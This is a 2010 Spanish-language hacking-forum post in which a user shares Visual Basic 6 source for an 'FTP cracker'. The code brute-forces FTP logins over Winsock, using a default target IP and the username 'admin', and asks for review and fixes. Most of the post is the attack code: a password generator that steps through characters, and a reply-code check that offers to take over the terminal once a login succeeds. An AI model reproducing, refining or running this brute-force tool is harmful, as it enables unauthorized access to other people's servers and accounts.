elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  FTP CRACKER ME LO REVISAN?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: FTP CRACKER ME LO REVISAN?  (Leído 1,563 veces)
79137913


Desconectado Desconectado

Mensajes: 1.169


4 Esquinas


Ver Perfil WWW
FTP CRACKER ME LO REVISAN?
« en: 3 Agosto 2010, 16:01 pm »

HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

les dejo aca el codigo que uso:

FORM:

Código
  1. Public CT As Integer
  2. Public FAILED As String
  3. Public ACUSER As String
  4. Public USER As String
  5. Public CONTROL As Integer
  6.  
  7. Private Sub Form_Load()
  8.    CONTROL = vbNo
  9.    Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
  10.    Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
  11.    FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
  12.    ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
  13.    USER = InputBox("USUARIO", "INSERTE", "admin")
  14.    Call BORRAR_VECTOR
  15.    Telnet.Connect
  16. End Sub
  17.  
  18. Private Sub Form_Resize()
  19.    If Me.Height > 701 Then
  20.        inx.Width = Me.Width
  21.        inx.Height = Me.Height - 700
  22.        outx.Width = Me.Width
  23.        outx.Top = inx.Height
  24.    End If
  25. End Sub
  26.  
  27. Private Sub Form_Unload(Cancel As Integer)
  28.    Telnet.Close
  29.    End
  30. End Sub
  31.  
  32. Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
  33.    Dim strData As String
  34.    Telnet.GetData strData
  35.    inx.Text = inx.Text & strData
  36.    If CONTROL = vbNo Then
  37.        Call ANALIZAR(Mid(strData, 1, 3))
  38.    End If
  39.  
  40.    If CT Mod 2 Then
  41.        Call NUEVAPASS
  42.            outx.Text = "pass " & PASS
  43.            Call outx_KeyPress(vbKeyReturn)
  44.        Else
  45.            outx.Text = "user " & USER
  46.            Call outx_KeyPress(vbKeyReturn)
  47.    End If
  48. End Sub
  49.  
  50. Private Sub outx_KeyPress(KeyAscii As Integer)
  51.    If KeyAscii = vbKeyReturn Then
  52.        Telnet.SendData outx.Text & vbCrLf
  53.        outx.Text = ""
  54.        outx.SetFocus
  55.    End If
  56. End Sub
  57.  
  58. Private Sub ANALIZAR(CODE As String)
  59.    CT = CT + 1
  60.    If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
  61.        CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
  62.    End If
  63. End Sub
  64.  
.

MODULO:

Código
  1. Dim PASSNUM(17) As Integer
  2. Dim PASSLET(17) As String
  3. Public PASS As String
  4.  
  5. Public Sub BORRAR_VECTOR()
  6.    PASSNUM(1) = 47
  7.    For X = 2 To 16
  8.        PASSNUM(X) = 0
  9.    Next X
  10. End Sub
  11.  
  12. Public Sub NUEVAPASS()
  13.    PASSNUM(1) = PASSNUM(1) + 1
  14.    Call ORDENAR
  15.    Call CONVERTIR
  16.    Call CONCATENAR
  17. End Sub
  18.  
  19. Private Sub ORDENAR()
  20.    For X = 1 To 16
  21.        If PASSNUM(X) = 124 Then
  22.            If PASSNUM(X + 1) = 0 Then
  23.                PASSNUM(X + 1) = 47
  24.            End If
  25.            PASSNUM(X + 1) = PASSNUM(X + 1) + 1
  26.        End If
  27.    Next X
  28.    If PASSNUM(17) = 1 Then
  29.        MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
  30.        End
  31.    End If
  32. End Sub
  33.  
  34. Private Sub CONVERTIR()
  35.    For X = 1 To 16
  36.        If PASSNUM(X) <> 0 Then
  37.            PASSLET(X) = Chr(PASSNUM(X))
  38.        End If
  39.    Next X
  40. End Sub
  41.  
  42. Private Sub CONCATENAR()
  43.    PASS = ""
  44.    For X = 1 To 16
  45.        PASS = PASS & PASSLET(X)
  46.    Next X
  47. End Sub
  48.  


Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.(VB6 obvio).

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta y, aparte el servidor se dosconecta aleatoriamente entre el 3 y el 5 intento, y no avisa la desconeccion, entonces no puedo hacer una reconeccion.


P.D: Si ven que no tiene futuro lo que hago avisenme y denme una pequeña guia asi sigo ;) gracias.

***************GRACIAS DE ANTEMANO***************


En línea

"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Cursos de Cracking joe cracker y SACCOPhHARYNX
Ingeniería Inversa
Anonymous- 2 4,686 Último mensaje 19 Noviembre 2020, 15:56 pm
por MCKSys Argentina
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines